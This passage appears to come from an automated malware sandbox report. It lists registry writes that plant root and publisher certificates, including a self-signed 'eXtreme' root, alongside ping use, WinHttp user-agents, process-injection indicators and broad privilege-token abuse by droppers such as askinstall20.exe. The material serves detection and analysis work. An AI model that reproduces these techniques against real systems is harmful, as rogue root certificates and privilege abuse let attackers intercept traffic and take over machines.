2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e askinstall20.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\CBC64D0FC770B1694DF723BB18B5679CE09B61CA vpn.tmp Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\SystemCertificates\CA\Certificates\8D4C4A23BA9EE84EA7348FA98CC6E65FBB69DE7B 0legjeqcm4u.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\5E2169F36E05D5652FF097A43315EECA06FC5927 CertMgr.Exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 askinstall20.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\5E2169F36E05D5652FF097A43315EECA06FC5927 app.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\5E2169F36E05D5652FF097A43315EECA06FC5927\Blob = 190000000100000010000000e77cd1c69831bded6db3db0eb227884a0f0000000100000020000000745513e7b62b77e29e06ab358fb0f8f328f4aa6d13f09bdfa11a946d0cef02d20300000001000000140000005e2169f36e05d5652ff097a43315eeca06fc59271400000001000000140000001b6be17c5727085080af0cd9e4522109e6704d752000000001000000350400003082043130820319a0030201020208246fe7e5239f00ab300d06092a864886f70d01010b05003067310b30090603550406130252553113301106035504070c0a53746164747265636874310e300c060355040a0c0554756e65723121301f06092a864886f70d010901161261646d696e4065616d617269616e2e636f6d3110300e06035504030c0765587472656d65301e170d3231303131343030303030305a170d3236303131343030303030305a3067310b30090603550406130252553113301106035504070c0a53746164747265636874310e300c060355040a0c0554756e65723121301f06092a864886f70d010901161261646d696e4065616d617269616e2e636f6d3110300e06035504030c0765587472656d6530820122300d06092a864886f70d01010105000382010f003082010a0282010100d1a9b26fb967ceeaf721405b88d92128d52c164c8d30c5502ffb7096304ae932c4f392cabadf2fb93121587a81da39f96f903bb71992e3432e8cec73e8ae262c029bf31f8309cfb5bd156a10910fcf52d3719fb00c35c2f6f2b9ea57c3e4c9e03a504081638214abbfaf88b0f2cb4c3d917c36178017ead5fee5ba28f6ed1b5c949924cdd1d91ea25e77d2293b18a0ff95d3ea1a37a6caa57a1b441deda7adfb1d4779e43ce7c6eb8ca670a3bbac3cddea948656929c86b01af54efc4fd48637d8d20b046589fadf780babe9a9638cd1f47bd42a0acd379c9cdd512487ea1c21d51598ea090acb5da4d09eb01eff0c99bba888a24a049690a8838cff86fe9e7d0203010001a381e03081dd3081980603551d2304819030818d80141b6be17c5727085080af0cd9e4522109e6704d75a16ba4693067310b30090603550406130252553113301106035504070c0a53746164747265636874310e300c060355040a0c0554756e65723121301f06092a864886f70d010901161261646d696e4065616d617269616e2e636f6d3110300e06035504030c0765587472656d658208246fe7e5239f00ab301d0603551d0e041604141b6be17c5727085080af0cd9e4522109e6704d75300c0603551d130101ff0402300030130603551d25040c300a06082b06010505070303300d06092a864886f70d01010b050003820101001ebd2ee6d64d3898015e825e1e53ee841938a5eb5162904448f2f07af5095fcd7f0f87ebd15f66f81dad1a72f924e05a7178909fd64ae08f1ae4e544a76cb367701525561bb27e4047fbec5382106aa626b3b49e4444b5dea2150263413fe76ac7425bc6aac52d523d713b3b4c43b0113088ced94c1bd245879ce05241255c0ff84ebf0f78fd41ff95c47cef4bf7b203f92a15c709c4a446a8ab19caa8f62381227ee62baf02539a087f93b6851d4291005e739e7370b887501506519838bc2f86c7c409ebb5901cb34b1f6a92eace94450ed94cddb077e34074234059aed1871300ae58f72320f0770d2ad6de8a1b5442fe9bbcb8d108fc5b5389dc14865dd8 app.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\CBC64D0FC770B1694DF723BB18B5679CE09B61CA\Blob = 030000000100000014000000cbc64d0fc770b1694df723bb18b5679ce09b61ca20000000010000000c06000030820608308204f0a00302010202100ebd24bdfbd4adddd2edd27e8fb1953c300d06092a864886f70d01010b0500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b302906035504031322446967694365727420455620436f6465205369676e696e6720434120285348413229301e170d3136303230393030303030305a170d3139303231333132303030305a3082011d311d301b060355040f0c1450726976617465204f7267616e697a6174696f6e31133011060b2b0601040182373c0201031302555331193017060b2b0601040182373c020102130844656c61776172653110300e06035504051307333736313235363129302706035504091320353938302053746f6e6572696467652044726976652c20537569746520313033310e300c060355041113053934353838310b3009060355040613025553311330110603550408130a43616c69666f726e6961311330110603550407130a506c656173616e746f6e31233021060355040a131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e312330210603550403131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e30820122300d06092a864886f70d01010105000382010f003082010a0282010100dbfa60e717145ef04d047ef2824532ee8a363d6b8fda58b639832f07eccba53b0446715d150e886195607af12d04e77a0f90bca14e70a782603b0ee5b9dca6cf43d5befb9887c54a3a507a82c7dd4a3fec3aed83171ff020b0c1ca50b87751a597b13454a31bd07796eea97ee55631a43d92cbc7275dfc6da478de5f3c8e2c3431db592d2410de2e789465cf73498df4e042aaa085855603e5165b84e25f27c6d29f77a1cc7bf2875da81395715c662b0333b025b37fcac7bd2f3b50a497613d972182c25e796e0dc453264c6e5340bd4962d5d3d37db06dfc03efb0ba8215b9ef2ef52c15d369db3a732259d286a9aa761ccafff0558c8efdab678d785cfe370203010001a38201f1308201ed301f0603551d230418301680148fe87ef06d326a000523c770976a3a90ff6bead4301d0603551d0e041604149bb182bc8ec73483e7d3569d57448488d1803437302e0603551d1104273025a02306082b06010505070803a01730150c1355532d44454c41574152452d33373631323536300e0603551d0f0101ff04040302078030130603551d25040c300a06082b06010505070303307b0603551d1f047430723037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4556436f64655369676e696e67534841322d67312e63726c3037a035a0338631687474703a2f2f63726c342e64696769636572742e636f6d2f4556436f64655369676e696e67534841322d67312e63726c304b0603551d2004443042303706096086480186fd6c0302302a302806082b06010505070201161c68747470733a2f2f7777772e64696769636572742e636f6d2f4350533007060567810c0103307e06082b0601050507010104723070302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304806082b06010505073002863c687474703a2f2f636163657274732e64696769636572742e636f6d2f44696769436572744556436f64655369676e696e6743412d534841322e637274300c0603551d130101ff04023000300d06092a864886f70d01010b050003820101006c24a9a7e30a7db2301b344f60cd1b1daf32fce4207ff625bd635f062f8a65301a7d66fade8ba809d0863421631692ef527119eaed4d1f012a98606727c8682aaf1099ca03ab9e996184f4186bce0ca7739c9e6e7144972012ac6eb4ac7db2122b244546f09647fa477a0613401f42e72f4a56fd687d946c4a41e1d1238fe8959e0b6e0cb692e92d96ccc7bde669843c60a374d001608328688790f65ababb20c78c59dad5b32bd79d67c60341c754eae510e08f897e6190c3af2d171261bcea2905545682ace869cd7cc3e66e635dd4f6420dcdc0909b780456523f685aec28b7a5585fae78f36ae3b84d0690f5ee0aa522245546508b2fadb6975f6082d11f vpn.tmp Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\5E66E0CA2367757E800E65B770629026E131A7DC vpn.tmp Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\5E66E0CA2367757E800E65B770629026E131A7DC\Blob = 0300000001000000140000005e66e0ca2367757e800e65b770629026e131a7dc2000000001000000ba060000308206b63082059ea003020102021004d54dc0a2016b263eeeb255d321056e300d06092a864886f70d0101050500306f310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312e302c060355040313254469676943657274204173737572656420494420436f6465205369676e696e672043412d31301e170d3133303831333030303030305a170d3136303930323132303030305a308181310b3009060355040613025553311330110603550408130a43616c69666f726e6961311330110603550407130a506c656173616e746f6e31233021060355040a131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e312330210603550403131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e30820122300d06092a864886f70d01010105000382010f003082010a0282010100a10462099150b2575bc037614701c292ba96e98270fdb06e1d1f40343e720e259d6f9fdf59bcb9365f8cea69689aed7a4354591db75509826ad71ab3f00cb18ed11157effc5eb3bf5730b33b5ba76fd73f3fd7f1b2256410223a7f8f5f52b6fb8b31a979cc50f831880fc837c81168e74dd4f57368ef55a1dbe480a815128e0d944d4d70be02ed65efe486a020f50dfdfe6d2a0dfab3ff9885fdb1bc39b79bb0a38183e42d557a60da66883c3307c208655da1a43eeb2393ea10b200f55ddfd66da47eae911eebe43113c7aafdf8e13d2fef2604eac2e3739021816b323dc9ef0f8411a1a7921023ff3cd7f1f4d4307f6ad13816d47b93823c9683069315088d0203010001a382033930820335301f0603551d230418301680147b68ce29aac017be497ae1e53fd6a7f7458f3532301d0603551d0e041604149afe50cc7c723e76b49c036a97a88c8135cb6651300e0603551d0f0101ff04040302078030130603551d25040c300a06082b0601050507030330730603551d1f046c306a3033a031a02f862d687474703a2f2f63726c332e64696769636572742e636f6d2f617373757265642d63732d32303131612e63726c3033a031a02f862d687474703a2f2f63726c342e64696769636572742e636f6d2f617373757265642d63732d32303131612e63726c308201c40603551d20048201bb308201b7308201b306096086480186fd6c0301308201a4303a06082b06010505070201162e687474703a2f2f7777772e64696769636572742e636f6d2f73736c2d6370732d7265706f7369746f72792e68746d3082016406082b06010505070202308201561e8201520041006e007900200075007300650020006f00660020007400680069007300200043006500720074006900660069006300610074006500200063006f006e0073007400690074007500740065007300200061006300630065007000740061006e006300650020006f00660020007400680065002000440069006700690043006500720074002000430050002f00430050005300200061006e00640020007400680065002000520065006c00790069006e0067002000500061007200740079002000410067007200650065006d0065006e00740020007700680069006300680020006c0069006d006900740020006c0069006100620069006c00690074007900200061006e0064002000610072006500200069006e0063006f00720070006f00720061007400650064002000680065007200650069006e0020006200790020007200650066006500720065006e00630065002e30818206082b0601050507010104763074302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304c06082b060105050730028640687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274417373757265644944436f64655369676e696e6743412d312e637274300c0603551d130101ff04023000300d06092a864886f70d0101050500038201010035d3e402ab7e93e4c84f74475c2403fbaf99335beb29aef76c0cbadf9eed476e26ae26aa5e87bb55e851926d2db986d674efd71abe7ecdc4b57c98d65b862725bd09e466949c3cf68cb40631d734ee948e4a7e5c849edf9757530a17e85c91e3dbc61e31a5d30b7250e83316c23728cc3fc0c721f61780a9f8542b575131652426be91885d9756313eff308755b60ccf6ade5f7bd7e32690a51c0b470a3bfe9dbedad74b535349ff469baa3e4d741d7db011501f80afdc4138a345c36e78710681be9d5b2bd45620bfaddf8e4ebd58e0820296f5c40c06fc48db187ff49fcaf489866fdae7c4d7224e3548bac384a5e7b59175c8fd6a667fa6ee3838802ce9be vpn.tmp Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\SystemCertificates\CA\Certificates\8D4C4A23BA9EE84EA7348FA98CC6E65FBB69DE7B\Blob = 0300000001000000140000008d4c4a23ba9ee84ea7348fa98cc6e65fbb69de7b140000000100000014000000bbaf7e023dfaa6f13c848eadee3898ecd93232d4040000000100000010000000ab9b109ce8934f11e7cd22ed550680da0f0000000100000030000000a768343c4aeaced5c72f3571938864983a67ed49031c1da2495863caf65fe507011f7f0e70b6cb40e5631c07721be03419000000010000001000000082218ffb91733e64136be5719f57c3a15c0000000100000004000000001000001800000001000000100000002aa1c05e2ae606f198c2c5e937c97aa24b0000000100000044000000420032004600410046003700360039003200460044003900460046004200440036003400450044004500330031003700450034003200330033003400420041005f0000002000000001000000820500003082057e30820466a003020102021067def43ef17bdae24ff5940606d2c084300d06092a864886f70d01010c0500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a308185310b3009060355040613024742311b30190603550408131247726561746572204d616e636865737465723110300e0603550407130753616c666f7264311a3018060355040a1311434f4d4f444f204341204c696d69746564312b302906035504031322434f4d4f444f205253412043657274696669636174696f6e20417574686f7269747930820222300d06092a864886f70d01010105000382020f003082020a028202010091e85492d20a56b1ac0d24ddc5cf446774992b37a37d23700071bc53dfc4fa2a128f4b7f1056bd9f7072b7617fc94b0f17a73de3b00461eeff1197c7f4863e0afa3e5cf993e6347ad9146be79cb385a0827a76af7190d7ecfd0dfa9c6cfadfb082f4147ef9bec4a62f4f7f997fb5fc674372bd0c00d689eb6b2cd3ed8f981c14ab7ee5e36efcd8a8e49224da436b62b855fdeac1bc6cb68bf30e8d9ae49b6c6999f878483045d5ade10d3c4560fc32965127bc67c3ca2eb66bea46c7c720a0b11f65de4808baa44ea9f283463784ebe8cc814843674e722a9b5cbd4c1b288a5c227bb4ab98d9eee05183c309464e6d3e99fa9517da7c3357413c8d51ed0bb65caf2c631adf57c83fbce95dc49baf4599e2a35a24b4baa9563dcf6faaff4958bef0a8fff4b8ade937fbbab8f40b3af9e843421e89d884cb13f1d9bbe18960b88c2856ac141d9c0ae771ebcf0edd3da996a148bd3cf7afb50d224cc01181ec563bf6d3a2e25bb7b204225295809369e88e4c65f191032d707402ea8b671529695202bbd7df506a5546bfa0a328617f70d0c3a2aa2c21aa47ce289c064576bf821827b4d5aeb4cb50e66bf44c867130e9a6df1686e0d8ff40ddfbd042887fa3333a2e5c1e41118163ce18716b2beca68ab7315c3a6a47e0c37959d6201aaff26a98aa72bc574ad24b9dbb10fcb04c41e5ed1d3d5e289d9cccbfb351daa747e584530203010001a381f23081ef301f0603551d23041830168014a0110a233e96f107ece2af29ef82a57fd030a4b4301d0603551d0e04160414bbaf7e023dfaa6f13c848eadee3898ecd93232d4300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff30110603551d20040a300830060604551d200030430603551d1f043c303a3038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c303406082b0601050507010104283026302406082b060105050730018618687474703a2f2f6f6373702e636f6d6f646f63612e636f6d300d06092a864886f70d01010c050003820101007ff25635b06d954a4e74af3ae26f018b87d33297edf840d2775311d7c7162ec69de64856be80a9f8bc78d2c86317ae8ced1631fa1f18c90ec7ee48799fc7c9b9bccc8815e36861d19f1d4b6181d7560463c2086926f0f0e52fdfc00a2ba905f4025a6a89d7b4844295e3ebf776205e35d9c0cd2508134c71388e87b0338491991e91f1ac9e3fa71d60812c364154a0e246060bac1bc799368c5ea10ba49ed9424624c5c55b81aeada0a0dc9f36b88dc21d15fa88ad8110391f44f02b9fdd10540c0734b136d114fd07023dff7255ab27d62c814171298d41f450571a7e6560afcbc5287698aeb3a853768be621526bea21d0840e494e8853da922ee71d0866d7 0legjeqcm4u.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\5E2169F36E05D5652FF097A43315EECA06FC5927\Blob = 0300000001000000140000005e2169f36e05d5652ff097a43315eeca06fc59272000000001000000350400003082043130820319a0030201020208246fe7e5239f00ab300d06092a864886f70d01010b05003067310b30090603550406130252553113301106035504070c0a53746164747265636874310e300c060355040a0c0554756e65723121301f06092a864886f70d010901161261646d696e4065616d617269616e2e636f6d3110300e06035504030c0765587472656d65301e170d3231303131343030303030305a170d3236303131343030303030305a3067310b30090603550406130252553113301106035504070c0a53746164747265636874310e300c060355040a0c0554756e65723121301f06092a864886f70d010901161261646d696e4065616d617269616e2e636f6d3110300e06035504030c0765587472656d6530820122300d06092a864886f70d01010105000382010f003082010a0282010100d1a9b26fb967ceeaf721405b88d92128d52c164c8d30c5502ffb7096304ae932c4f392cabadf2fb93121587a81da39f96f903bb71992e3432e8cec73e8ae262c029bf31f8309cfb5bd156a10910fcf52d3719fb00c35c2f6f2b9ea57c3e4c9e03a504081638214abbfaf88b0f2cb4c3d917c36178017ead5fee5ba28f6ed1b5c949924cdd1d91ea25e77d2293b18a0ff95d3ea1a37a6caa57a1b441deda7adfb1d4779e43ce7c6eb8ca670a3bbac3cddea948656929c86b01af54efc4fd48637d8d20b046589fadf780babe9a9638cd1f47bd42a0acd379c9cdd512487ea1c21d51598ea090acb5da4d09eb01eff0c99bba888a24a049690a8838cff86fe9e7d0203010001a381e03081dd3081980603551d2304819030818d80141b6be17c5727085080af0cd9e4522109e6704d75a16ba4693067310b30090603550406130252553113301106035504070c0a53746164747265636874310e300c060355040a0c0554756e65723121301f06092a864886f70d010901161261646d696e4065616d617269616e2e636f6d3110300e06035504030c0765587472656d658208246fe7e5239f00ab301d0603551d0e041604141b6be17c5727085080af0cd9e4522109e6704d75300c0603551d130101ff0402300030130603551d25040c300a06082b06010505070303300d06092a864886f70d01010b050003820101001ebd2ee6d64d3898015e825e1e53ee841938a5eb5162904448f2f07af5095fcd7f0f87ebd15f66f81dad1a72f924e05a7178909fd64ae08f1ae4e544a76cb367701525561bb27e4047fbec5382106aa626b3b49e4444b5dea2150263413fe76ac7425bc6aac52d523d713b3b4c43b0113088ced94c1bd245879ce05241255c0ff84ebf0f78fd41ff95c47cef4bf7b203f92a15c709c4a446a8ab19caa8f62381227ee62baf02539a087f93b6851d4291005e739e7370b887501506519838bc2f86c7c409ebb5901cb34b1f6a92eace94450ed94cddb077e34074234059aed1871300ae58f72320f0770d2ad6de8a1b5442fe9bbcb8d108fc5b5389dc14865dd8 CertMgr.Exe -
Runs .reg file with regedit 1 IoCs
pid Process 5956 regedit.exe -
Runs ping.exe 1 TTPs 5 IoCs
pid Process 2560 PING.EXE 5964 PING.EXE 6096 PING.EXE 5884 PING.EXE 800 PING.EXE -
Script User-Agent 40 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 318 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 748 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 787 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 831 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 833 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 840 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 1051 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 1152 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 220 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 313 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 1008 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 339 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 341 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 746 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 879 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 1002 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 1147 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 205 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 348 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 866 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 867 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 1139 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 104 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 177 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 753 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 757 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 790 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 874 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 105 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 175 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 314 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 878 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 1046 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 108 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 167 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 356 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 1145 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 357 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 743 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 755 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1572 setups.tmp 1572 setups.tmp 640 multitimer.exe 640 multitimer.exe 640 multitimer.exe 640 multitimer.exe 640 multitimer.exe 640 multitimer.exe 640 multitimer.exe 640 multitimer.exe 640 multitimer.exe 640 multitimer.exe 640 multitimer.exe 640 multitimer.exe 640 multitimer.exe 640 multitimer.exe 640 multitimer.exe 640 multitimer.exe 640 multitimer.exe 640 multitimer.exe 1640 key.exe 1640 key.exe 5044 rundll32.exe 5044 rundll32.exe 3260 svchost.exe 3260 svchost.exe 4884 file.exe 4884 file.exe 4884 file.exe 4884 file.exe 4884 file.exe 4884 file.exe 4884 file.exe 4884 file.exe 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5608 IBInstaller_97039.tmp 5608 IBInstaller_97039.tmp 5300 2xvuwim2bcs.tmp 5300 2xvuwim2bcs.tmp 2564 win1host.exe 2564 win1host.exe 2564 win1host.exe 2564 win1host.exe 1612 jfiag3g_gg.exe 1612 jfiag3g_gg.exe 4724 setups.tmp 4724 setups.tmp 5944 1.exe 5944 1.exe 2608 rundll32.exe 2608 rundll32.exe 2352 rundll32.exe 2352 rundll32.exe 2472 irecord.tmp 2472 irecord.tmp 4140 AddInProcess32.exe 2380 1.exe 4140 AddInProcess32.exe 4744 2.exe 4744 2.exe 2380 1.exe -
Suspicious behavior: MapViewOfSection 18 IoCs
pid Process 4596 MicrosoftEdgeCP.exe 4596 MicrosoftEdgeCP.exe 3948 MicrosoftEdgeCP.exe 3948 MicrosoftEdgeCP.exe 3948 MicrosoftEdgeCP.exe 3948 MicrosoftEdgeCP.exe 3948 MicrosoftEdgeCP.exe 3948 MicrosoftEdgeCP.exe 3948 MicrosoftEdgeCP.exe 3948 MicrosoftEdgeCP.exe 3948 MicrosoftEdgeCP.exe 3948 MicrosoftEdgeCP.exe 3948 MicrosoftEdgeCP.exe 3948 MicrosoftEdgeCP.exe 3948 MicrosoftEdgeCP.exe 3948 MicrosoftEdgeCP.exe 3948 MicrosoftEdgeCP.exe 8000 toolspab1.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2588 Setup.exe Token: SeCreateTokenPrivilege 1608 askinstall20.exe Token: SeAssignPrimaryTokenPrivilege 1608 askinstall20.exe Token: SeLockMemoryPrivilege 1608 askinstall20.exe Token: SeIncreaseQuotaPrivilege 1608 askinstall20.exe Token: SeMachineAccountPrivilege 1608 askinstall20.exe Token: SeTcbPrivilege 1608 askinstall20.exe Token: SeSecurityPrivilege 1608 askinstall20.exe Token: SeTakeOwnershipPrivilege 1608 askinstall20.exe Token: SeLoadDriverPrivilege 1608 askinstall20.exe Token: SeSystemProfilePrivilege 1608 askinstall20.exe Token: SeSystemtimePrivilege 1608 askinstall20.exe Token: SeProfSingleProcessPrivilege 1608 askinstall20.exe Token: SeIncBasePriorityPrivilege 1608 askinstall20.exe Token: SeCreatePagefilePrivilege 1608 askinstall20.exe Token: SeCreatePermanentPrivilege 1608 askinstall20.exe Token: SeBackupPrivilege 1608 askinstall20.exe Token: SeRestorePrivilege 1608 askinstall20.exe Token: SeShutdownPrivilege 1608 askinstall20.exe Token: SeDebugPrivilege 1608 askinstall20.exe Token: SeAuditPrivilege 1608 askinstall20.exe Token: SeSystemEnvironmentPrivilege 1608 askinstall20.exe Token: SeChangeNotifyPrivilege 1608 askinstall20.exe Token: SeRemoteShutdownPrivilege 1608 askinstall20.exe Token: SeUndockPrivilege 1608 askinstall20.exe Token: SeSyncAgentPrivilege 1608 askinstall20.exe Token: SeEnableDelegationPrivilege 1608 askinstall20.exe Token: SeManageVolumePrivilege 1608 askinstall20.exe Token: SeImpersonatePrivilege 1608 askinstall20.exe Token: SeCreateGlobalPrivilege 1608 askinstall20.exe Token: 31 1608 askinstall20.exe Token: 32 1608 askinstall20.exe Token: 33 1608 askinstall20.exe Token: 34 1608 askinstall20.exe Token: 35 1608 askinstall20.exe Token: SeDebugPrivilege 640 multitimer.exe Token: SeDebugPrivilege 4208 taskkill.exe Token: SeDebugPrivilege 4184 MicrosoftEdge.exe Token: SeDebugPrivilege 4184 MicrosoftEdge.exe Token: SeDebugPrivilege 4184 MicrosoftEdge.exe Token: SeDebugPrivilege 4184 MicrosoftEdge.exe Token: SeDebugPrivilege 4708 multitimer.exe Token: SeDebugPrivilege 5044 rundll32.exe Token: SeDebugPrivilege 5044 rundll32.exe Token: SeTcbPrivilege 3260 svchost.exe Token: SeDebugPrivilege 5044 rundll32.exe Token: SeDebugPrivilege 5044 rundll32.exe Token: SeDebugPrivilege 5044 rundll32.exe Token: SeDebugPrivilege 5044 rundll32.exe Token: SeDebugPrivilege 5044 rundll32.exe Token: SeImpersonatePrivilege 1640 key.exe Token: SeTcbPrivilege 1640 key.exe Token: SeChangeNotifyPrivilege 1640 key.exe Token: SeCreateTokenPrivilege 1640 key.exe Token: SeBackupPrivilege 1640 key.exe Token: SeRestorePrivilege 1640 key.exe Token: SeIncreaseQuotaPrivilege 1640 key.exe Token: SeAssignPrimaryTokenPrivilege 1640 key.exe Token: SeDebugPrivilege 5044 rundll32.exe Token: SeDebugPrivilege 5044 rundll32.exe Token: SeDebugPrivilege 5044 rundll32.exe Token: SeImpersonatePrivilege 1640 key.exe Token: SeTcbPrivilege 1640 key.exe Token: SeChangeNotifyPrivilege 1640 key.exe -
Suspicious use of FindShellTrayWindow 64 IoCs
pid Process 5260 Setup3310.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5608 IBInstaller_97039.tmp 5336 vict.tmp 5300 2xvuwim2bcs.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp 5416 vpn.tmp -
Suspicious use of SetWindowsHookEx 64 IoCs
